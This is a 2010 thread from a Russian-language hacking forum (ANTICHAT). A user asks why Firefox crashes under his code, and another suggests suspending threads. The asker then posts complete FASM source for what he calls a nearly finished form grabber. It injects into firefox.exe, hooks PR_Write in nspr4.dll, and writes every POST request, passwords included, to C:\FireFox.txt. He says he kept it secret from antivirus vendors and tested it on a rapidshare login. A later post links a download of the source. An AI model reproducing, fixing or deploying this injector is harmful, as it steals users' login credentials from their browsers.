ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Крошится FF.
  #1  
Старый 01.02.2010, 21:57
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию Крошится FF.

Здравствуйте,
Возник вопрос Из-за чего рушиться FireFox?

Симптомы:
Заметил в Олке что если в процессе исполнения моего кода(с момента анхука до момента востановления хука)
из другого треда вызывается (анхученая) функция, то (не понятно почему) FF рушиться.

Как запретить на время исполнения моего кода выполнение функции для других тредов?

П.С. Код на чистом FASM, если кто-то хочет помочь прошу в ЛС за сорсами(не охото почти законченый FormGrab палить перед AV'цами ).
 
Ответить с цитированием

  #2  
Старый 01.02.2010, 21:59
emillord
Участник форума
Регистрация: 20.01.2008
Сообщений: 284
Провел на форуме:
3767223

Репутация: 408
Отправить сообщение для emillord с помощью ICQ
По умолчанию

Приостановка вроде есть команда sleep (число)

upd: sorry ступил. Я прочитал "пауза" почему-то.

Последний раз редактировалось emillord; 01.02.2010 в 22:07..
 
Ответить с цитированием

  #3  
Старый 01.02.2010, 22:03
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

И чем он тут поможет? По всем тредам чтоль раскивать
 
Ответить с цитированием

  #4  
Старый 01.02.2010, 22:04
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

раскидать*?
 
Ответить с цитированием

  #5  
Старый 01.02.2010, 22:12
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

Возможно так будет понятней.
Сосплайсил функцию FF. Во врямя исполнения моей части кода происходит вызов функции из другого треда браузера, вследствии чего (по не понятным причинам) происходит крушение.
Вопрос:
Как запретить во время исполнения моего кода, вызов этой функции из других тредов?
 
Ответить с цитированием

  #6  
Старый 01.02.2010, 22:24
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929

Репутация: 395


По умолчанию

krenki я думаю он вылетает из-за некорректного твоего перехвата... или кода который ты внедряешь.

как вариант останови все не нужные треды процесса - SuspendThread
з.ы: читай примечания к этой функции http://msdn.microsoft.com/en-us/library/ms686345(VS.85).aspx
 
Ответить с цитированием

  #7  
Старый 01.02.2010, 22:32
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

OK Спасибо. Изучаю...
 
Ответить с цитированием

  #8  
Старый 01.02.2010, 23:40
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

Короч меня за*бло. Кто хотит модифируйте код.
Компилить Fasm 1.68. Работает так:
Перехватывает PR_Write из библы nspr4. Берёт два параметра. Если во втором параметре есть "POST" то записывает запрос в файл C:\FireFox.txt тетстил на hxxps://ssl.rapidshare.com/premiumzone.html пароли скидываются в файл. Но потом ФФ рушиться. Идеи?
Кому сорец понравился +)
Код:
 format PE GUI 4.0


entry start
     macro PushArg [Arg]{

                reverse push Arg
}
  include 'D:\INCLUDE\win32a.inc'
  include 'D:\INCLUDE\ddk\myincs.inc'
  include 'D:\INCLUDE\MACRO\IF.inc'




TH32CS_SNAPPROCESS = 2


section '.code' code readable writeable executable


    target_name     db 'firefox.exe',0


;...............[INJECT CODE]..................;

remote_thread:

  call delta
delta:
        pop ebp;
        sub ebp,delta
        jmp First
       struct restoreq
        first db  ?
        second dd  ?
        ProcAddr dd   ?
       ends
     ;BaseAddr dd ?
     KernelBase dd ?
     GPAcall dd ?
     GMHcall dd ?
     HUser32 dd ?
     MSBox dd ?
     VirtProt dd  ?
     old db ?
     HMod dd ?
     GetLastErrorCall dd ?
     MSBoxRest restoreq ?,?,?
     PR_WriteRest restoreq ?,?,?
     hFile dd ?
     flbytes dd ?
      flbytesend dd ?
     CreateFileCall dd ?
     SetFilePointerCall dd ?
     WriteFileCall dd ?
     CloseHandleCall dd ?
    ; Temp dd ?
    BackAddr dd ?
    resalt dd ?
    esprest dd ?
    ecxrest dd ?
    edxrest dd ?
    ebxrest dd ?
    edirest dd ?
    esirest dd ?
    ebprest dd ?
    dataadr dd ?
    datalen dd ?

First:

                ;Kernel Base  ->
                xor eax,eax
                mov eax,[fs:eax+30h]
                mov eax,[eax+0ch]
                mov esi,[eax+1ch]
                lodsd
                mov eax,[eax+08h]
                mov [KernelBase+ebp],eax
                ;Kernel Export   ->
                mov edi,eax
                add edi,[eax+3ch]; NTHeader
                add edi,78h; DataDirectory
                mov esi,[edi]
                add eax,esi
                ;Addres of GetProcAddress in [GPA]

                mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
                add ebx,[KernelBase+ebp]
                mov edx,1
                _find:
                push ebx
                mov ecx,14
                mov eax,[ebx]
                add eax,[KernelBase+ebp]
                mov esi,eax
                lea edi,[GPA+ebp]
                cld
                repe cmpsb
                jz _ok
                pop ebx
                add ebx,4
                inc edx
                jmp _find
                _ok:
                xor eax,eax
                mov eax,[KernelBase+ebp]

                ;Kernel Export   ->
                mov edi,eax
                add edi,[eax+3ch]; NTHeader
                add edi,78h; DataDirectory
                mov esi,[edi]
                add eax,esi


                ;---
                mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
                add ebx,[KernelBase+ebp]
                shl  edx,1
                add ebx,edx
                mov edx,[ebx]
                movzx ebx,dx
                ;------------
                sub ebx,1
                shl ebx,2
                mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
                add eax,[KernelBase+ebp]
                add eax,ebx
                mov ecx,[eax]
                add ecx,[KernelBase+ebp]
                mov [GPAcall+ebp],ecx
                pop ecx
                ;----------------End Get Address of GetProcAddress--------
                lea ecx,[GMH+ebp]
                lea edx,[KernelBase+ebp]
                mov edx,[edx]
                push ecx
                push edx
                call [GPAcall+ebp]
                mov [GMHcall+ebp],eax
                ;-------------End Get Address of GetModuleHanle--------
                mov ecx,USER32
                call GetModHandle
                mov [HUser32+ebp],eax
                ;----------------- Handle of User32.dll ----------------
                mov ecx,VirtualProt
                mov eax,KernelBase
                call GetAddr
                mov [VirtProt+ebp],eax
                ;----------------- VirtualProtect -----------------
                mov ecx,GetLastErrorStr
                mov eax,KernelBase
                call GetAddr
                mov [GetLastErrorCall+ebp],eax
                ;-----------------  GetLastErorr ----------------
                mov ecx,CreateFileStr
                mov eax,KernelBase
                call GetAddr
                mov [CreateFileCall+ebp],eax
                ;----------------  CreatFileA ---------------------
                mov ecx,SetFilePointerStr
                mov eax,KernelBase
                call GetAddr
                mov [SetFilePointerCall+ebp],eax
                ;----------------- SetFilePointer ------------------
                mov ecx,WriteFileStr
                mov eax,KernelBase
                call GetAddr
                mov [WriteFileCall+ebp],eax
                ;------------------ WriteFile -------------------
                mov ecx,CloseHandleStr
                mov eax,KernelBase
                call GetAddr
                mov [CloseHandleCall+ebp],eax
                ;---------------------- CloseHandle ----------------------

                push NPR
                push PR_WriteStr
                push nspr4
                push PR_WriteRest
                call HookAPI
              ;  mov ecx,MessBox
              ;  mov eax,HUser32
              ;  call GetAddr
              ;  mov [MSBox+ebp],eax ;MSBoxA addr
              ;  push nPR_Write
              ;  push MessBox
              ;  push USER32
              ;  push MSBoxRest
              ;  call HookAPI
              ;  push MSBoxRest
              ;  call UnHookAPI
              ;  PushArg 0,0,0,0
              ;  call [MSBox+ebp]
              ;  lea ecx,[Namef+ebp]
              ;  push ecx
              ;  push 7
              ;  call WriteToFile
                ret
         NPR:

                mov eax,[esp]
                push ebp
                call delta12
               delta12:
                pop ebp;
                sub ebp,delta12
                mov [BackAddr+ebp],eax
                pop eax   ;ebp
                mov [ebprest+ebp],eax
                mov [ecxrest+ebp],ecx
                mov [ebxrest+ebp],ebx
                mov [edxrest+ebp],edx
                mov [edirest+ebp],edi
                mov [esirest+ebp],esi



                mov  eax,[esp+0x08];addr of post
                .if dword [eax]<>'POST'
                  jmp NoWork
                .endif
                ;--------------Our Code-----------
                ;mov [dataadr+ebp],eax
                ;mov eax,[esp+0x0C]
                ;mov [datalen+ebp],eax

              push eax
              mov  eax,[esp+0x10];size of data
              push eax
              call WriteToFile
                ;--------------Our Code-----------
              NoWork:
                lea esp,[esp+4]

               rep1:
                push PR_WriteRest
                call UnHookAPI


              mov edx,[edxrest+ebp]
              mov ebx,[ebxrest+ebp]
              mov edi,[edirest+ebp]
              mov esi,[esirest+ebp]
              mov ecx,ebp
              mov ebp,[ebprest+ecx]
                mov ecx,[PR_WriteRest.ProcAddr+ecx]
                
                call ecx

                call deltax
             deltax:
                pop ebp;
                sub ebp,deltax
                mov [resalt+ebp],eax
                mov [edxrest+ebp],edx

                push NPR
                push PR_WriteStr
                push nspr4
                push PR_WriteRest
                call HookAPI
            ;    mov esp,[esprest+ebp]

                mov edx,[edxrest+ebp]
                mov ebx,[ebxrest+ebp]
                mov edi,[edirest+ebp]
                mov esi,[esirest+ebp]
                mov ecx,ebp
               ; lea esp,[esp+4]
                mov eax,[resalt+ecx]
                mov ebp,[ebprest+ecx]

                mov ecx,[BackAddr+ecx]

                jmp ecx



         GetModHandle: ;ecx-module name
                lea ecx,[ecx+ebp]
                push ecx
                call [GMHcall+ebp]
                ret

          GetAddr: ;ecx-Func Name, eax-Handle of module
                lea ecx,[ecx+ebp]
                push ecx
                lea eax,[eax+ebp]
                mov eax,[eax]
                push eax
                call [GPAcall+ebp]
                ret

          HookAPI:
                pop edi ;ret addr
                pop ebx ;restore data
                pop ecx ;name module
                call GetModHandle
                mov [HMod+ebp],eax
                mov eax,HMod
                pop ecx;name func
                call GetAddr
                mov [ebx+restoreq.ProcAddr+ebp],eax
                lea esi,[old+ebp]
                invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,PAGE_EXECUTE_READWRITE,esi
               ; call [GetLastErrorr+ebp]
               ; je BadEnd
                pop edx;  mov edx,[AddrNewProc]; addr my func
                lea edx,[edx+ebp]
                sub edx,[ebx+restoreq.ProcAddr+ebp]
                sub edx,5
                xchg eax,edx; jmp value eax
                mov edx,[ebx+restoreq.ProcAddr+ebp]
                mov ch,byte [edx]
                mov [ebx+restoreq.first+ebp],ch
                push dword [edx+1]
                pop [ebx+restoreq.second+ebp]
                mov byte [edx],$E9
                mov dword [edx+1],eax
                invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,[esi],esi
              HookEnd:
                jmp edi
               BadEnd:
                leave
                jmp HookEnd

          UnHookAPI:
                pop edi
                pop ebx
                lea esi,[old+ebp]
                invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,PAGE_EXECUTE_READWRITE,esi
               ; call [GetLastErrorCall+ebp]
                je BadEndUn
                lea ecx,[ebx+restoreq.ProcAddr+ebp]
                mov ecx,[ecx]
                mov  dh,[ebx+restoreq.first+ebp]
                mov [ecx],dh
                mov edx,[ebx+restoreq.second+ebp]
                mov [ecx+1],edx
                invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,[esi],esi
               BadEndUn:
                jmp edi;

          WriteToFile:
                pop edi
                lea edx,[Namef+ebp]
                invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
              ;  call [GetLastErrorCall+ebp]
                mov [hFile+ebp],eax
                invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END
              AgainWrite:
                lea edx,[flbytes+ebp]
                pop ebx;size buff
                pop ecx; addr buff
                invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h
                lea ecx,[EndLine+ebp]
                lea edx,[flbytesend+ebp]
               invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h
                lea edx,[hFile+ebp]
                invoke CloseHandleCall+ebp,[edx]
                jmp edi

EndLine db 0x0A,0
PR_WriteStr db 'PR_Write',0
nspr4 db 'nspr4.dll',0
Namef db 'C:\FireFox.txt',0
CloseHandleStr db 'CloseHandle',0
WriteFileStr db 'WriteFile',0
SetFilePointerStr db 'SetFilePointer',0
CreateFileStr db 'CreateFileA',0
GPA db 'GetProcAddress',0
GMH db 'GetModuleHandleA',0
MessBox db 'MessageBoxA',0
USER32 db 'user32.dll',0
VirtualProt db 'VirtualProtect',0
GetLastErrorStr db 'GetLastError',0


thread_end:

;...............[END INJECT CODE]..............;

    p_ent           PROCESSENTRY32

find_target:
    xor     esi,esi

 .shot:
        mov     [p_ent.dwSize],sizeof.PROCESSENTRY32
    invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi
    inc     eax
    je      .not_found
    dec     eax
    xchg    eax,edi

    invoke  Process32First,edi,p_ent

 .next_prc:
    xchg    eax,ecx
    jecxz   .not_found

    invoke  lstrcmpi,p_ent.szExeFile,target_name
    xchg    eax,ecx
    jecxz   .found

    invoke  Process32Next,edi,p_ent
    jmp     .next_prc

 .found:
    invoke  CloseHandle,edi
    mov     eax,[p_ent.th32ProcessID]
    ret

 .not_found:
    xor     eax,eax
    ret

inject_code:
    xor     esi,esi
    invoke  OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax

    xchg    eax,ecx
    jecxz   .exit

    xchg    ecx,edi

    invoke  VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE
    xchg    eax,ecx
    jecxz   .close_h

    xchg    ecx,ebp

    invoke  WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi

    dec     eax
    test    eax,eax
    jnz     .close_h
    inc     eax

    invoke  CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi

  .close_h:
    invoke  CloseHandle,edi

  .exit:
    ret

get_apis:
  ;  mov     edi,[LoadLibrary]
 ;   mov     [pLoadLibrary],edi

  ;  mov     edi,[MessageBox]
   ; mov     [pMessageBox],edi

    ret

start:
    call    find_target
    test    eax,eax
    je      .exit

    call    get_apis

    call    inject_code

  .exit:
    push    0
    call    [ExitProcess]


section '.idata' data import readable

  library kernel32,'KERNEL32.DLL',\
          user32,'USER32.DLL'

  include 'D:\INCLUDE\API\kernel32.inc'
  include 'D:\INCLUDE\API\user32.inc'
Что посоветуете почитать ?
 
Ответить с цитированием

  #9  
Старый 02.02.2010, 00:53
krenki
Новичок
Регистрация: 23.03.2008
Сообщений: 24
Провел на форуме:
126110

Репутация: 14
По умолчанию

hxxp://depositfiles.com/files/42xer3r7l Сорец для тестов. Инжектится в ФФ хучит PR_Write и забирает его параметр начинающийся на "POST". Сохраняет в лог в C:\FireFox.txt компилятор FASM 1.68 прекрастно работает первое время, позже рушит браузер.
Нужен совет.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ